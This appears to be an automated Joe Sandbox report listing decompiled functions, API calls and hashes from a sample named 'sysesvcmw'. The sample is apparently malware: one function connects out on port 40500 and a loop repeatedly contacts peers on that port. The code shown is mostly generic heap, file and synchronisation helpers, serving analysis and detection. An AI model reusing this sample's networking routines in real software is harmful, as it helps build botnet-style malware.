Opcode ID: 277335d7e8338359a91c565511ffc649c6ce38734f2e38486cdb580f35fc55b6
Instruction ID: 51841e325dfe15d34157b3dfc8deab755d799cdbd1fe14e6e1da9ccb35aaee06
Opcode Fuzzy Hash: 277335d7e8338359a91c565511ffc649c6ce38734f2e38486cdb580f35fc55b6
Instruction Fuzzy Hash: 1B114FB5900148BFCB04DF98D941E9EBBB5EF48304F10C0A9FD19AB342D635EA50CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0040B610 Relevance: 4.5, APIs: 3, Instructions: 45networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000001,00000006), ref: 0040B623
htons.WS2_32(00009E34), ref: 0040B655
connect.WS2_32(000000FF,?,00000010), ref: 0040B66F

Part of subcall function 00409600: shutdown.WS2_32(004095ED,00000002), ref: 00409609
Part of subcall function 00409600: closesocket.WS2_32(004095ED), ref: 00409613

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: closesocketconnecthtonsshutdownsocket
String ID:
API String ID: 1987800339-0
Opcode ID: 1c976605b0aa8376304c87d57d4217be9ecc0ed4ff7a5fcb27ef9caeac3a3a37
Instruction ID: c802b0052d99b2efba98434c277248b112f68f869576d9f5ee3dd816caa1dbdc
Opcode Fuzzy Hash: 1c976605b0aa8376304c87d57d4217be9ecc0ed4ff7a5fcb27ef9caeac3a3a37
Instruction Fuzzy Hash: 31113C74904209EBCF14DFA4D9096AEB774EF04320F2087AAE825A73D0D7754F00979A

Uniqueness

Uniqueness Score: -1.00%

Function 004089C0 Relevance: 4.5, APIs: 3, Instructions: 34
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 75%

			E004089C0(void* __ecx) {
				char _v8;
				signed char _t5;
				long _t7;
				signed char _t9;
				signed char _t10;

				if((E00408850() & 0x000000ff) == 0) {
					L2:
					_t5 = HeapCreate(0, 0, 0); // executed
					 *0x4163bc = _t5;
					if( *0x4163bc != 0) {
						_v8 = 2;
						_t9 =  *0x4163bc; // 0x2420000
						__imp__HeapSetInformation(_t9, 0,  &_v8, 4);
						_t7 = GetCurrentProcessId();
						 *0x416df0 = _t7;
						return _t7;
					}
				} else {
					_t10 =  *0x4163bc; // 0x2420000
					_t5 = E00408930(_t10);
					if((_t5 & 0x000000ff) == 0) {
						goto L2;
					}
				}
				return _t5;
			}

0x004089ce
0x004089e6
0x004089ec
0x004089f2
0x004089fe
0x00408a00
0x00408a0f
0x00408a16
0x00408a1c
0x00408a22
0x00000000
0x00408a22
0x004089d0
0x004089d0
0x004089d7
0x004089e4
0x00000000
0x00000000
0x004089e4
0x00408a2a

APIs

Part of subcall function 00408850: GetCurrentProcessId.KERNEL32(?,00408A6B,?,0040B05E,00000010,?,?,?,?,?,?,0040B17B), ref: 00408853

HeapCreate.KERNELBASE(00000000,00000000,00000000,?,?,00408A77,?,0040B05E,00000010,?,?,?,?,?,?,0040B17B), ref: 004089EC
HeapSetInformation.KERNEL32(02420000,00000000,00000002,00000004), ref: 00408A16
GetCurrentProcessId.KERNEL32 ref: 00408A1C

Part of subcall function 00408930: GetProcessHeaps.KERNEL32(000000FF,?), ref: 0040894C

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Process$CurrentHeap$CreateHeapsInformation
String ID:
API String ID: 3179415709-0
Opcode ID: a639693618199c8379fb382b7bd5192c92996d99d994ee1682bc7f8514ed8ba2
Instruction ID: 696ab666e994ee3a55d98a1a93898fe7b584238ea120077bf43588b8b4778e15
Opcode Fuzzy Hash: a639693618199c8379fb382b7bd5192c92996d99d994ee1682bc7f8514ed8ba2
Instruction Fuzzy Hash: DFF05BB0644304ABD324EB61FD06BA636A9A704305F00C17EF955662D5DF79D504CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040D180 Relevance: 4.5, APIs: 3, Instructions: 28
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D180(WCHAR* _a4) {
				long _v8;
				void* _v12;
				void* _t10;

				_v8 = 0;
				_t10 = CreateFileW(_a4, 0x80000000, 1, 0, 3, 0, 0); // executed
				_v12 = _t10;
				if(_v12 != 0xffffffff) {
					_v8 = GetFileSize(_v12, 0);
					FindCloseChangeNotification(_v12); // executed
				}
				return _v8;
			}

0x0040d186
0x0040d1a0
0x0040d1a6
0x0040d1ad
0x0040d1bb
0x0040d1c2
0x0040d1c2
0x0040d1ce

APIs

CreateFileW.KERNELBASE(004054D0,80000000,00000001,00000000,00000003,00000000,00000000,004054D0), ref: 0040D1A0
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040D1B5
FindCloseChangeNotification.KERNELBASE(000000FF), ref: 0040D1C2

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: File$ChangeCloseCreateFindNotificationSize
String ID:
API String ID: 4178644524-0
Opcode ID: e24c9e26e69efa751899c84a214ae5334934a94b20914f31abdf684007cd48cc
Instruction ID: ed85e8d8bf0ab7ca2f4e313438fe02c3a8f0663c976e0804b297b520842be699
Opcode Fuzzy Hash: e24c9e26e69efa751899c84a214ae5334934a94b20914f31abdf684007cd48cc
Instruction Fuzzy Hash: AFF01274A40308FBDB10DFA4DC49B8DBB74AB04701F208155FA047B2C0D6B55A418B54

Uniqueness

Uniqueness Score: -1.00%

Function 00408A60 Relevance: 3.1, APIs: 2, Instructions: 52
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00408A60(void* __ecx, void* __edx, intOrPtr _a4, long _a8) {
				int _v8;
				intOrPtr _v12;
				void* _v16;
				void* _t23;
				void* _t30;
				void* _t33;

				_t30 = __ecx;
				if((E00408850() & 0x000000ff) == 0) {
					E004089C0(_t30); // executed
				}
				_v8 = 0;
				if(_a4 != 0) {
					_v12 = E00408810(_a4 + 2, 4);
					_t33 =  *0x4163bc; // 0x2420000
					_t23 = RtlAllocateHeap(_t33, _a8, _v12 + 0xc); // executed
					_v16 = _t23;
					if(_v16 != 0) {
						_v8 = E00408A30(_v16, _v12);
						if((_a8 & 0x00000008) == 0) {
							memset(_v8 + _a4, 0, _v12 - _a4);
						}
					}
				}
				return _v8;
			}

0x00408a60
0x00408a70
0x00408a72
0x00408a72
0x00408a77
0x00408a82
0x00408a95
0x00408aa3
0x00408aaa
0x00408ab0
0x00408ab7
0x00408ac9
0x00408ad2
0x00408ae4
0x00408ae9
0x00408ad2
0x00408ab7
0x00408af2

APIs

Part of subcall function 00408850: GetCurrentProcessId.KERNEL32(?,00408A6B,?,0040B05E,00000010,?,?,?,?,?,?,0040B17B), ref: 00408853

RtlAllocateHeap.NTDLL(02420000,?,-0000000C), ref: 00408AAA
memset.NTDLL ref: 00408AE4

Part of subcall function 004089C0: HeapCreate.KERNELBASE(00000000,00000000,00000000,?,?,00408A77,?,0040B05E,00000010,?,?,?,?,?,?,0040B17B), ref: 004089EC
Part of subcall function 004089C0: HeapSetInformation.KERNEL32(02420000,00000000,00000002,00000004), ref: 00408A16
Part of subcall function 004089C0: GetCurrentProcessId.KERNEL32 ref: 00408A1C

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Heap$CurrentProcess$AllocateCreateInformationmemset
String ID:
API String ID: 3494217179-0
Opcode ID: 918da07aa680028be3a046f7582c1784076b1d226c4f3b680462cfcc4b85c13f
Instruction ID: 8e310b335623aaed64947648ed186bccf68bbf4011d86d547a464b5e017e9876
Opcode Fuzzy Hash: 918da07aa680028be3a046f7582c1784076b1d226c4f3b680462cfcc4b85c13f
Instruction Fuzzy Hash: F11100B5E10108BBCB10EFA5D945B9E7BB8AF44304F00C56EF548AB381DA399A54CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0040BF10 Relevance: 3.0, APIs: 2, Instructions: 49
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E0040BF10(void* __ecx, void* __edi) {
				intOrPtr* _v8;
				LONG* _v12;
				short _v16;
				long _v20;
				void* __ebx;
				intOrPtr* _t13;
				LONG* _t14;
				void* _t23;
				intOrPtr _t27;
				void* _t29;
				void* _t30;

				_t28 = __edi;
				_t23 = __ecx;
				_push(0);
				_t13 = E0040DD70(__edi);
				_t30 = _t29 + 4;
				_v8 = _t13;
				if(_v8 != 0) {
					do {
						_t14 = E00409C80(_t23); // executed
						_v12 = _t14;
						if(_v12 != 0 && InterlockedExchangeAdd(_v12, 0) == 0) {
							_v20 = _v12[1];
							_v16 = 0x9e34;
							_t27 =  *0x416e14; // 0x8578a86d
							E0040A0B0(_v8, 0, _t27, 0, 0, E0040BE90,  &_v20); // executed
							_t30 = _t30 + 0x1c;
						}
						_t23 =  *0x416e0c; // 0x444
					} while (WaitForSingleObject(_t23, 0x1388) == 0x102);
					return E0040DD00(_v8, _t28);
				}
				return _t13;
			}

0x0040bf10
0x0040bf10
0x0040bf17
0x0040bf19
0x0040bf1e
0x0040bf21
0x0040bf28
0x0040bf2a
0x0040bf2a
0x0040bf2f
0x0040bf36
0x0040bf4e
0x0040bf56
0x0040bf67
0x0040bf74
0x0040bf79
0x0040bf79
0x0040bf81
0x0040bf8e
0x00000000
0x0040bf98
0x0040bfa1

APIs

Part of subcall function 0040DD70: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,0040BF1E,00000000), ref: 0040DD95
Part of subcall function 0040DD70: socket.WS2_32(00000002,00000002,00000011), ref: 0040DDA4
Part of subcall function 0040DD70: bind.WS2_32(?,?,00000010), ref: 0040DDE5

Part of subcall function 00409C80: EnterCriticalSection.KERNEL32(00416DF4), ref: 00409C90
Part of subcall function 00409C80: LeaveCriticalSection.KERNEL32(00416DF4), ref: 00409CBC

InterlockedExchangeAdd.KERNEL32(00000000,00000000), ref: 0040BF3E
WaitForSingleObject.KERNEL32(00000444,00001388), ref: 0040BF88

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CriticalSection$CreateEnterEventExchangeInterlockedLeaveObjectSingleWaitbindsocket
String ID:
API String ID: 3920643007-0
Opcode ID: a2cbb6ed93885fcaa310ff8348a04c74fdc89f7663b3888e499d25a34d4a1ec7
Instruction ID: 648c52171a8fbe3fe6feb21857c8d7e76139b4b5e8df0efcfa8b64a264538ae9
Opcode Fuzzy Hash: a2cbb6ed93885fcaa310ff8348a04c74fdc89f7663b3888e499d25a34d4a1ec7
Instruction Fuzzy Hash: 97015E74A00308ABE700EBA4DC46BAF7774EB44704F1081A9E500A72D2E7799E54CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00409770 Relevance: 3.0, APIs: 2, Instructions: 40
networkCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00409770(intOrPtr _a4) {
				char _v260;
				char _v261;
				int _v268;
				signed int _v272;
				int _t23;

				_v261 = 0;
				_t23 = gethostname( &_v260, 0x100); // executed
				if(_t23 != 0xffffffff) {
					__imp__#52( &_v260); // executed
					_v268 = _t23;
					if(_v268 != 0) {
						_v272 = 0;
						while( *((intOrPtr*)( *((intOrPtr*)(_v268 + 0xc)) + _v272 * 4)) != 0) {
							if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v268 + 0xc)) + _v272 * 4)))) != _a4) {
								_v272 = _v272 + 1;
								continue;
							} else {
								_v261 = 1;
							}
							goto L8;
						}
					}
				}
				L8:
				return _v261;
			}

0x00409779
0x0040978c
0x00409795
0x0040979e
0x004097a4
0x004097b1
0x004097b3
0x004097ce
0x004097fa
0x004097c8
0x00000000
0x004097fc
0x004097fc
0x004097fc
0x00000000
0x004097fa
0x004097ce
0x004097b1
0x00409807
0x00409810

APIs

gethostname.WS2_32(?,00000100), ref: 0040978C
gethostbyname.WS2_32(?), ref: 0040979E

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: gethostbynamegethostname
String ID:
API String ID: 3961807697-0
Opcode ID: eb893bff08e524b36e97ab5ca210c721b70d17d083af003deee559585d4ddd17
Instruction ID: 65cb2ebeac570fdb7be8355f4723dba2d2731c0c762421a013589ef226fc7477
Opcode Fuzzy Hash: eb893bff08e524b36e97ab5ca210c721b70d17d083af003deee559585d4ddd17
Instruction Fuzzy Hash: 64115A34918218DBCB64DF14CC48BE8B771AB66314F2482EAD48867381C7F8AEC1CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00409500 Relevance: 3.0, APIs: 2, Instructions: 24networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(00409581), ref: 0040950A
gethostbyname.WS2_32(?), ref: 0040951D

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: gethostbynameinet_addr
String ID:
API String ID: 1594361348-0
Opcode ID: 9acd8b2a8a8d593d198362a6ebe3c3f412451466b0b7d0de7c8cc9d5a791ca49
Instruction ID: 51404770cc1fb97e8cfb6976ea5a0f5fedc69e609ab8221a9dbf76d352b768f8
Opcode Fuzzy Hash: 9acd8b2a8a8d593d198362a6ebe3c3f412451466b0b7d0de7c8cc9d5a791ca49
Instruction Fuzzy Hash: 26F01C79900208EFCB00DFA5E8888DDBBB4FB48311F60C2A9E905673A0D7749E81DB84

Uniqueness

Uniqueness Score: -1.00%

Function 00409620 Relevance: 3.0, APIs: 2, Instructions: 16
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409620() {
				void* _t1;
				long _t2;

				while(1) {
					_t1 =  *0x416e0c; // 0x444
					_t2 = WaitForSingleObject(_t1, 0x3e8);
					if(_t2 != 0x102) {
						break;
					}
					if(InterlockedDecrement(0x4143b4) == 0) {
						E00409750(); // executed
					}
				}
				return _t2;
			}

0x00409623
0x00409628
0x0040962e
0x00409639
0x00000000
0x00000000
0x00409648
0x0040964a
0x0040964a
0x0040964f
0x00409652

APIs

WaitForSingleObject.KERNEL32(00000444,000003E8), ref: 0040962E
InterlockedDecrement.KERNEL32(004143B4), ref: 00409640

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: DecrementInterlockedObjectSingleWait
String ID:
API String ID: 4086267124-0
Opcode ID: 478a9d0d562e1264af23f328ca211e277cb6946006caf7cece0c832852851f44
Instruction ID: 5664ed682fcd5090606154bfc7ee4006f242b32a92ea5b5f5687bbc862b9098a
Opcode Fuzzy Hash: 478a9d0d562e1264af23f328ca211e277cb6946006caf7cece0c832852851f44
Instruction Fuzzy Hash: 7AD0A73130030897C58027A1EC4AF5A374C9721B00F108833F504E52C2C6FECC90876D

Uniqueness

Uniqueness Score: -1.00%

Function 00409600 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

shutdown.WS2_32(004095ED,00000002), ref: 00409609
closesocket.WS2_32(004095ED), ref: 00409613

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: closesocketshutdown
String ID:
API String ID: 572888783-0
Opcode ID: 71ddab89dd3559e3a1cc8f64f726bb8391bb700e1b5d5c06a1592205e9a26df1
Instruction ID: 8b9c54165bc6db8fc7019d331c3f5ccf6eb5e8133a4e2c667aa1631c2abcc5d3
Opcode Fuzzy Hash: 71ddab89dd3559e3a1cc8f64f726bb8391bb700e1b5d5c06a1592205e9a26df1
Instruction Fuzzy Hash: 9DC08C7510430CBBCB00AFA0EC0DDD93B6CEB08240F008050FE098B241CAB2E8808B94

Uniqueness

Uniqueness Score: -1.00%

Function 00409C80 Relevance: 2.5, APIs: 2, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00409C80(void* __ecx) {
				intOrPtr _v8;
				intOrPtr _t7;
				signed int _t8;

				_t9 = __ecx;
				_push(__ecx);
				_v8 = 0;
				EnterCriticalSection(0x416df4);
				if( *0x416e2c != 0) {
					_t7 =  *0x416e2c; // 0x200
					_t8 = E0040A8B0(_t9, _t7); // executed
					_v8 =  *((intOrPtr*)(0x416e30 + _t8 * 4));
				}
				LeaveCriticalSection(0x416df4);
				return _v8;
			}

0x00409c80
0x00409c83
0x00409c84
0x00409c90
0x00409c9d
0x00409c9f
0x00409ca5
0x00409cb4
0x00409cb4
0x00409cbc
0x00409cc8

APIs

EnterCriticalSection.KERNEL32(00416DF4), ref: 00409C90
LeaveCriticalSection.KERNEL32(00416DF4), ref: 00409CBC

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: a9d5fdad13c368d851724b758faa1f6e41f7645bce029cf707cb3ba4fe358686
Instruction ID: 3300fd0fa792e31f75c2b6288bd5323b580414e8241ba1a5816d1c0f679683c1
Opcode Fuzzy Hash: a9d5fdad13c368d851724b758faa1f6e41f7645bce029cf707cb3ba4fe358686
Instruction Fuzzy Hash: D0E01AB5A01308ABD704EB94FD0AB997BB6A708704F1181B9E80453391D7BAAE90CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 00409750 Relevance: 2.5, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409750() {
				void* _t1;
				void* _t2;

				EnterCriticalSection(0x416df4); // executed
				_t2 = E00409660(_t1); // executed
				LeaveCriticalSection(0x416df4);
				return _t2;
			}

0x00409758
0x0040975e
0x00409768
0x0040976f

APIs

EnterCriticalSection.KERNEL32(00416DF4,?,00409E77), ref: 00409758
LeaveCriticalSection.KERNEL32(00416DF4,?,00409E77), ref: 00409768

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: a60cb618b6fcdc4824e79190f1afbed426b092c29353e116cc782c13ad69a138
Instruction ID: 3d715cb22e8ea6341619d55454cd054b9d9118da8f44f8f672b1f298bfe5042e
Opcode Fuzzy Hash: a60cb618b6fcdc4824e79190f1afbed426b092c29353e116cc782c13ad69a138
Instruction Fuzzy Hash: BFB09B3138120D7BC10037B2FC0B9C4376D96047153114076B405500538EFF54C1455D

Uniqueness

Uniqueness Score: -1.00%

Function 0040B8A0 Relevance: 1.5, APIs: 1, Instructions: 25
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040B8A0(void* __ecx) {
				LONG* _v8;
				LONG* _t4;
				signed char _t5;
				void* _t10;

				_t8 = __ecx;
				_push(__ecx); // executed
				while(1) {
					_t4 = E00409C80(_t8); // executed
					_v8 = _t4;
					if(_v8 != 0) {
						E0040B700(_v8, 0); // executed
						_t10 = _t10 + 8;
					}
					_t8 =  *0x416e0c; // 0x444
					_t5 = WaitForSingleObject(_t8, 0x1388);
					if(_t5 != 0x102) {
						break;
					}
					_t5 = E00409EB0();
					if((_t5 & 0x000000ff) == 0) {
						continue;
					}
					break;
				}
				return _t5;
			}

0x0040b8a0
0x0040b8a3
0x0040b8a4
0x0040b8a4
0x0040b8a9
0x0040b8b0
0x0040b8b8
0x0040b8bd
0x0040b8bd
0x0040b8c5
0x0040b8cc
0x0040b8d7
0x00000000
0x00000000
0x0040b8d9
0x0040b8e3
0x00000000
0x00000000
0x00000000
0x0040b8e3
0x0040b8e8

APIs

Part of subcall function 00409C80: EnterCriticalSection.KERNEL32(00416DF4), ref: 00409C90
Part of subcall function 00409C80: LeaveCriticalSection.KERNEL32(00416DF4), ref: 00409CBC

WaitForSingleObject.KERNEL32(00000444,00001388), ref: 0040B8CC

Part of subcall function 0040B700: InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040B70C

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterExchangeInterlockedLeaveObjectSingleWait
String ID:
API String ID: 3309573332-0
Opcode ID: 2fc1f42d96d65b8328a9b9c597bf448764fd98d6a80d87194b77a64c7ee2843b
Instruction ID: efa3576df14e11bfc6155eae5cdafd2df28e95e4285d6ef1167b438f43f5b0f7
Opcode Fuzzy Hash: 2fc1f42d96d65b8328a9b9c597bf448764fd98d6a80d87194b77a64c7ee2843b
Instruction Fuzzy Hash: A7E092B1900308A6D714E7A19C06B9F7369DB50305F14807AF900762D2DB7E9E44D3DC

Uniqueness

Uniqueness Score: -1.00%

Function 004058C0 Relevance: 1.5, APIs: 1, Instructions: 23comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00000000,00000000,00004401,00000000,00000000), ref: 004058E0

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 752613992cec3424fc6ca12a41fd8d19352ac516dba71492bf2cb6d9fba5c085
Instruction ID: 7816046bdeee9aa600e7d84e322e250ab42cf7bed1fe902a3a89055fcaf0bfc5
Opcode Fuzzy Hash: 752613992cec3424fc6ca12a41fd8d19352ac516dba71492bf2cb6d9fba5c085
Instruction Fuzzy Hash: 29E0ED7590020CFFDF00DF94C889BDEBBB8EB08315F10C1A9E90467280D7B55A94DB95

Uniqueness

Uniqueness Score: -1.00%

